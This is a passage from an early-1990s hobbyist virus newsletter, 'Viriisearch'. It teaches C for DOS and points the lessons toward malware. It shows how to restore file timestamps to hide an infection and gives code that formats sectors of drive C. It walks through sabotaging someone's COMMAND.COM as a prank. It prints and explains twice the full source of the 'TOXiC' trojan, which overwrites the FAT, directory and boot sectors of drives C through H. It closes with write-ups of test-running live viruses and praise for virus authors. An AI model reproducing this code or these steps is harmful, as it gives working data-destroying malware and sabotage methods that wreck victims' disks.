In this case, it finds ALL the files, using wildcards. You can change it to
find any file(s) you want, for instance:

char filename[13] = {"*.COM"};

Would find all the files that have a extension of .COM

The curly braces { and } surrounding the filespec are neccessary when
initializing a array.

This is the structure for returning the date and time on the file:

struct stat buf;

And this is the structure for finding the files:

struct find_t  all_file;

Here it opens the "HEXTABLE.TXT" file. Note the "a" switch, which means
"append" if the file exists, it will write to the end of the file. If it
doesn't exist, it will create it.

stream=fopen("HEXTABLE.TXT","a");

Here it starts the search. It attempts to locate the first file matching:

char filename[13] = {"*.*"};

and passes the filename found to the "all_file" structure

_dos_findfirst(filename, _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file);

Here _dos_open opens the file, and passes the file handle to the integer "fh"

_dos_open(all_file.name,O_RDONLY,&fh);

And here it gets the file date and time, storing it in the two unsigned
integers "date" and "mtime"

NOTE: I originall called had used "time" instead of "mtime" and it wouldn't
compile and link the file because "time" is a function in the standard
library that came with the compiler. Told ya I'm still learning!

BTW, the screw up with 'time' was Microsoft's fault. That's what they used in
the manual.

_dos_getftime(fh,&date,&mtime);

Here it gets the stats on the file as outlined in the stat structure.

fstat(fh,&buf);

Then it close the file that the integer "fh" points to.

_dos_close(fh);

and prints the following lines to the file "HEXTABLE.TXT"

fprintf(stream,"-----------------------------------------------------------------------------\n");
fprintf(stream,"  Hexadecimal:\t\t|  Regular:\n");
fprintf(stream,"-----------------------------------------------------------------------------\n");
fprintf(stream,"  %x   %x\t\t| %s",date,mtime,ctime(&buf.st_atime));

\t is a TAB, %s is a string, and %x is a hexadecimal value.

It prints date and mtime as hex values, and prints the regular date and time
as a string with the help of the "ctime" function.

And the following code basically does the same thing until there are no more
files matching "all_file.name"

while (_dos_findnext(&all_file) == 0) {
     _dos_open(all_file.name,O_RDONLY,&fh);
     _dos_getftime(fh,&date,&mtime);
     fstat(fh,&buf);
     _dos_close(fh);
     fprintf(stream,"  %x   %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
     }

then it close "HEXTABLE.TXT" and exits.

     fclose(stream);
}



Following is part of "HEXTABLE.TXT" after I ran the above program so you can
see some examples of hexadecimal date and time values and the regular date
and time next to them:

NOTE: The first hexadecimal value is the date, the second one is the time.



-----------------------------------------------------------------------------
  Hexadecimal:          |  Regular:
-----------------------------------------------------------------------------
  1067   2820           | Mon Mar 07 05:01:00 1988
  1896   4bd1           | Wed Apr 22 09:30:34 1992
  106a   5a2c           | Thu Mar 10 11:17:24 1988
  1067   2820           | Mon Mar 07 05:01:00 1988
  1067   2820           | Mon Mar 07 05:01:00 1988
  1689   2800           | Tue Apr 09 05:00:00 1991
  1896   4a5c           | Wed Apr 22 09:18:56 1992
  1896   4a5c           | Wed Apr 22 09:18:56 1992
  1067   2820           | Mon Mar 07 05:01:00 1988
  1067   2820           | Mon Mar 07 05:01:00 1988



You will notice in the previous program that set the file date and time, I
had it like this:

unsigned date=0x421;
unsigned time=0xC0F;

Now, in the above hex values, 1067 is 03/07/88 and 2820 is 5:01am, so you
would put:

unsigned date=1067;
unsigned time=2820;

right? WRONG. You have to put the 0x in front of it:

unsigned date=0x1067;
unsigned time=0x2820;

This is only required if you are going to declare and initialize two integers
with a value such as I did here:
-----------------------------------------------------------------------------
#include <fcntl.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
int fh=0;
unsigned date=0x421;
unsigned time=0xC0F;
int main(void);
main()
{
	_dos_open("TEST.TXT",O_RDONLY,&fh);
	_dos_setftime(fh,date,time);
	_dos_close(fh);
}
-----------------------------------------------------------------------------
However, when getting the time and date using _dos_getftime and setting it
using _dos_setftime, the 0x is not neccessary even though _dos_getftime does
return the values without the 0x because _dos_setftime knows what they are
and does set the date and time according to what the two values are.
-----------------------------------------------------------------------------

Now, the final product on getting/setting file dates/times:

-----------------------------------------------------------------------------

#include <fcntl.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
int fh;
int main (void);
main()
{
unsigned date;
unsigned mtime;
_dos_open("EXAMPLE.EXE",O_RDWR,&fh); /* open file */
_dos_getftime(fh,&date,&mtime); /* get file date and time */
/* Virus can infect "EXAMPLE.EXE" here */
/* and then restore the original date and time */
_dos_setftime(fh,date,mtime);
_dos_close(fh); /* close "EXAMPLE.EXE" */
}

-----------------------------------------------------------------------------

Formatting:

-----------------------------------------------------------------------------

#include <bios.h>
int main(void);
main()
{
  struct diskinfo_t disk_info;

  disk_info.drive    =2;
  disk_info.head     =1;
  disk_info.track    =1;
  disk_info.sector   =1;
  disk_info.nsectors =10;

  _bios_disk(_DISK_FORMAT,&disk_info);
}

-----------------------------------------------------------------------------

The above example will format 10 sectors of track 1, starting at sector 1 on
head 1 of drive C.

-----------------------------------------------------------------------------

  disk_info.drive    =2;
  disk_info.head     =1;
  disk_info.track    =1;
  disk_info.sector   =1;
  disk_info.nsectors =10;

-----------------------------------------------------------------------------
disk_info.drive=2 is drive C.

0 is drive A, and 1 is drive B.

disk_info.head=1 is head 1.

disk_info.track=1 is the track to start formatting at.

disk_info.sector=1 is the sector to start formatting at.

disk_info.nsectors=10 is the total number of sectors to format.
-----------------------------------------------------------------------------

Fun with COMMAND.COM

-----------------------------------------------------------------------------

OK, I did this to a friend of mine, and it resulted in about two hours of
major frustration before I finally called him and told him what I did. What
we do is change all the internal MS-DOS commands inside COMMAND.COM...once
you do that, replace someone's COMMAND.COM on their hard drive and re-boot
their machine. What will happen is whenever they type a internal command such
as CLS, COPY, MD, DIR, etc, it will say: Bad Command Or Filename.

This is how it is done:

Run a sector editor such as: Norton Utilitie's DISKEDIT

Commands:

Alt (O)bject and then (F)ile OR Alt-F by itself. Then select COMMAND.COM as
the file, it will then open it. Then: Alt (T)ools, (F)ind OR CTRL-S. Then type
in the string to search for (CLS, DIR, COPY, etc), once it finds it, do the
following:

Alt (E)dit, (M)ark OR CTRL-B

Then simply type over the command with something else and hit CTRL-W which
will write those changes to the file.

Just do this with every internal command and there you go.

Note: If there is a string of text in COMMAND.COM such as: "Copy is used to
move files from drive to drive or directory to directory", when you search
for COPY it will find the Copy at the beginning of that string, you don't want
to change that. Just hit CTRL-G (Find again) to find the next occurence of
COPY.....The one you are looking for will be in all CAPS and surrounded by
nothing else but unreadable characters.

-----------------------------------------------------------------------------

Sample Source Code Of Virii: TOXiC Trojan #1

-----------------------------------------------------------------------------

This is what the author of the "TOXiC Trojan #1" has to say about his
creation:

-----------------------------------------------------------------------------
TOXiC1 - TOXiC Trojan #1 - Programmed by Izzy Stradlin' and MiSERY/CPA
 MiSERY1 is the name given to this trojan.  I programmed it, I name the
 Mother fucker.  I hereby give all rights of this trojan to MiSERY/CPA.
 If ya don't like it, TOUGH.  I Give ALL rights EXCEPT for the NAME to
 CPA - eg. NOONE CAN CHANGE THE NAME OF THIS THING W/O MY PERMISSION AND
 LEAVE MY NAME IN IT.  The name must stay on, both my name and the name
 of the trojan are copyrighted (c) 90 to Izzy Stradlin'
 -----------------------------------------------------------------------
 Capt. - This isn't a Real Virus - It's a Trojan.  Sorry, still trying
 to use something similar to ASM's int 21h; for DOSs features, then I'll
 Get going on Virii.  As is, this Destroys Boot/Fat/Dir on Most harddisks
 and Well, there is so far no way that I know of that it can recover
 what the disk lost, as it writes the trojan name over everything.  This
 SHOULD Go for BOTH FAT Tables, but I am not going to try it out.  Haha.
 You try it - Tell me how it works! all I know is that it got 6 of my
 Flippin' floppies, damnit!  - Delete this bottom message to you after
 Checking it out - Makes it look more professional.  Leave the top text
 part in tact, just in case you want to pass it around.
 This is JUST A START.  They DO/WILL Get better - this is weak, but as I
 Said - no known recovery from it.
 Oh, this looks for C: through H:

-----------------------------------------------------------------------------

And this is what I have to say about The "TOXiC Trojan #1"

-----------------------------------------------------------------------------

The author of the "TOXiC Trojan #1" says that this is a trojan, but to me it
is NOT....if it was, it wouldn't be featured here as this is a newsletter
dedicated entirely to virii. A trojan is a destructive program disguised as
a real program that already exists, or disguised as a useful program. This
program does not implement any encryption techniques, or stealth techniques
so actually it is a toss up. I call it a virus, though. Anyway, the source
code below is the original source code as written by Izzy Stradlin'

-----------------------------------------------------------------------------

#define   TROJAN_NAME  "TOXiC"    /* Trojan Name */

/* Procedures  */
void infect_fat();
void infect_dir();
void infect_boot();
void main();
/* Simple, eh? */


void infect_fat()
{
    int i;
    for (i=2; i<7; i++) {
	abswrite(i,0,2,TROJAN_NAME);
    }
}

void infect_dir()
{
    int i;
    for (i=2; i<7; i++) {
	abswrite(i,2,2,TROJAN_NAME);
    }
}

void infect_boot()
{
    int i;
    for (i=0; i<7; i++) {
	abswrite(i,4,2,TROJAN_NAME);
    }
}

void main()
{
    printf(TROJAN_NAME);
    infect_fat();
    infect_dir();
    infect_boot();
}

-----------------------------------------------------------------------------

Now, this is my modified source code to the "TOXiC Trojan #1"

-----------------------------------------------------------------------------

#define   TROJAN_NAME  "TOXiC"
void infect_fat();
void infect_dir();
void infect_boot();
int main(void);
main()
{
    printf(TROJAN_NAME);
    infect_fat();
    infect_dir();
    infect_boot();
}

void infect_fat()
{
    int i;
    for (i=2; i<7; i++) {
	abswrite(i,0,2,TROJAN_NAME);
    }
}

void infect_dir()
{
    int i;
    for (i=2; i<7; i++) {
	abswrite(i,2,2,TROJAN_NAME);
    }
}

void infect_boot()
{
    int i;
    for (i=0; i<7; i++) {
	abswrite(i,4,2,TROJAN_NAME);
    }
}

-----------------------------------------------------------------------------

You may ask why I modified his source code, well I did for a few reasons:

He declared "main()" as:

void main();

When I first became familiar with the ANSI C standard, I declared "main()"
like so:

int main(void);

which says that main() will return a value of type int but has no parameters
passed to it. His way says that main will not return a value at all, and (I
am assuming here) will not be called with any parameters because he left the
parentheses empty. Using void and leaving the parentheses empty may very well
have the same effect, although I am not sure. (I never said I knew everything)

In his he put his procedures (below) before the main program.

void infect_fat()
{
    int i;
    for (i=2; i<7; i++) {
	abswrite(i,0,2,TROJAN_NAME);
    }
}

void infect_dir()
{
    int i;
    for (i=2; i<7; i++) {
	abswrite(i,2,2,TROJAN_NAME);
    }
}

void infect_boot()
{
    int i;
    for (i=0; i<7; i++) {
	abswrite(i,4,2,TROJAN_NAME);
    }
}

With mine, I placed the procedures after the main program. Once again I am
not 100% sure that this would have any effect on your program, and whether or
not it is a case of preference.

His three procedures:

infect_fat()
infect_dir()
infect_boot()

are all declared to return no value (void) and called with no parameters, as
he, once again, left the parentheses empty. (Which brings us back to main()..
leaving the parentheses empty on main() must have the same effect as putting
void in the parentheses)

Now the discussion of his procedures:

void infect_fat()
{
    int i;
    for (i=2; i<7; i++) {
	abswrite(i,0,2,TROJAN_NAME);
    }
}

This procedure, "infect_fat" writes the name of the trojan (virus) over
the file allocation table of drives C through H, providing they exist. This
is how it works:

the "for loop" uses the integer i, first assigning the value 2 to it, which
is the number of drive C, and then it passes the integer to the function
"abswrite" along with two other values, 0 and 2, and the name of the virus.

The integer i, as we know, contains the drive number, 0 is the starting sector
number, and 2 is the number of sectors to write. TROJAN_NAME is what gets
written to that area of the disk. Every time it passes through the for loop,
it increments the value of the integer i by 1 with the 'increment operator'
(i++) and it stops once the value of i is equal to or greater than 7. i<7 is
basically saying "while i is less than 7, keep going" Because the value of i
is increased with each pass through the loop, it attempts to write drives C
through H (2 being drive C, 3 being drive D, 4 being drive E, etc)

The code in between the first { and the second } is what the procedure does.
The code in between the second { and the first } is what takes place every
time the procedure passes through the for loop.

The other two procedures, infect_dir() and infect_boot(), basically work the
same way infect_fat() does except they write to a different part of the disk.

infect_dir() writes TROJAN_NAME on two sectors of drives C through H starting
at sector 2.

infect_boot() writes TROJAN_NAME on two sectors of drives C through H starting
at sector 4.

NOTE: abswrite() is not a function included with my standard runtime library
but may be a part of other compiler's runtime libraries, or you could write
one yourself.

-----------------------------------------------------------------------------

Suicidal Tendencies Dept:

The virus of the month award goes to: 666-B Rock Steady Virus And The 15th
Of April Virus.

-----------------------------------------------------------------------------

First I will start off with the 666-B Rock Steady Virus.

The virus activates on the 13th of every month.

I placed the file 666-B.COM on a floppy in drive B with the following files:

COMMAND.COM - 47845 bytes
PKUNZIP.EXE - 23528 bytes

First I changed the system date to: 05-13-1992 and ran 666-B.COM

It didn't do anything to the disk/files of drive B, instead it went to drive
A which was a write protected Viriisearch <tm> disk. It gave me the following
warning:

			  This disk is not bootable

		       If you wish to make it bootable,
		      run the DOS program SYS after the
			   system has been loaded

		      Please insert a DOS diskette into
		       the drive and strike any key...

So I inserted a write protected DOS disk into the drive, and the machine
booted. I decided to try a different approach:

I once again changed the system date to: 05-13-1992 and once again ran
666-B.COM, but this time with a write protected DOS disk in drive A. It did
the same thing again, ignored drive B, and went right for drive A, this time
appearing to write to the disk for about 5-10 seconds, but it wasn't because
the disk was write protected at the time. Then the machine re-booted. So again
I tried another approach:

I left the system date as what it was: 1-01-80 and then ran 666-B.COM, it did
nothing but exit. Then I ran COMMAND.COM from the command line, no changes
were made to it. Now, with the virus in memory, I again changed the system
date to: 05-13-1992 and ran COMMAND.COM from the command line. This time it
infected COMMAND.COM, increasing it's size to: 48511 bytes from 47845 bytes.
I re-booted the machine, and looked back on drive B. PKUNZIP.EXE had also
been infected without me running it, it's size being increased to 24194 bytes
from 23528 bytes.

Note: The virus also formats the hard drive Boot Area and FAT on the 13th of
      every month, but I do not have a hard drive so I did not witness this.
      This is a well written virus and I am sure it does that if Rock Steady
      says it does.

-----------------------------------------------------------------------------

Suicidal Tendencies Dept. Part II: The 15th Of April Virus

-----------------------------------------------------------------------------

I placed the following files on a floppy in drive B:


ANSI     SYS      9029 04-09-91   5:00a
RAMDRIVE SYS      5873 04-09-91   5:00a
CONFIG   SYS        39 01-01-80  12:35a
COMMAND  COM     47845 04-09-91   5:00a
SYS      COM     13440 04-09-91   5:00a
NDOS     COM      2419 08-14-84  12:00p
MEM      EXE     39818 04-09-91   5:00a
DEBUG    EXE     21692 06-07-90   2:24a
PKUNZIP  EXE     23528 03-15-90   1:10a

and then placed 15APR.COM on there with them.

The system date was: 1-01-80 when I first ran 15APR.COM.

I then ran MEM.EXE and it's size increased to 41068 bytes from 39818 bytes.
I also ran PKUNZIP.EXE, it's size increased to 24778 bytes from 23528 bytes,
and NDOS.COM, it's size increasing from 2419 bytes to 3669 bytes.

I then changed the system date to the 15th Of April, 1992 and ran 15APR.COM
once again, and it did nothing.

I ran COMMAND.COM and the virus did nothing to it, it remained uninfected and
it's size remained the same so I ran SYS.COM with no parameters and it did
get infected, it's size increasing from 13440 bytes to 14690 bytes.

In all cases of a file being infected, it's size increased by 1250 bytes.

-----------------------------------------------------------------------------

Final Notes:

-----------------------------------------------------------------------------

Special thanks to:

-----------------------------------------------------------------------------

Rock Steady - For Writing Such A Well Written Virus For Me To Screw Around
	      With.

All The Phalcon/Skism Members - For Letting Me On U.S.S.R. And Letting Me
				Take Dark Angel's Phunky Virus Writing
				Guide As Well As 40 HEX (Gotta Love It
				When You Guys Rag On The Anti-Viral PPL)

Louis Cypher - For Letting Me On Lucid Dreams, And Doing Me That Favor.

Cliff Burton - For Making TLITD The Viriisearch HQ.

Patty, Mr. Dickburg, And Whoever Else - For Giving The Phalcon/Skism Guys
					Someone To Rag On.

Count Zero And Magic Man: For Letting Me On ATDT Which Led To My Original
			  Interest In Virii.

Spaceman: For Making All Those Virii Available To Me.

To All The Virus Authors - For Writing Them And Giving This Newsletter A
			   Purpose, And Giving Me Something To Do While
			   A Unemployment Victim Of This #$%*& Recession.

Pink Floyd/Led Zeppelin/Rush/U2/Queen - For Giving Me Good Quality Music To
					Listen To While Writing This Virus
					Newsletter (R.I.P Freddy & Bonzo)

And Hi To Darby Crash! Hope You're Doing Well Wherever You Are!

-----------------------------------------------------------------------------

Hey Everyone: Have a AWESOME 4th Of July! Don't Drink And Drive (At Least Not
In MY Neighborhood!)

I hope you enjoyed this issue of "Viriisearch" The newsletter dedicated
entirely to computer virii.


Until Next Time......Be Careful!!!

			       * Criminal Minded <tm> *

-----------------------------------------------------------------------------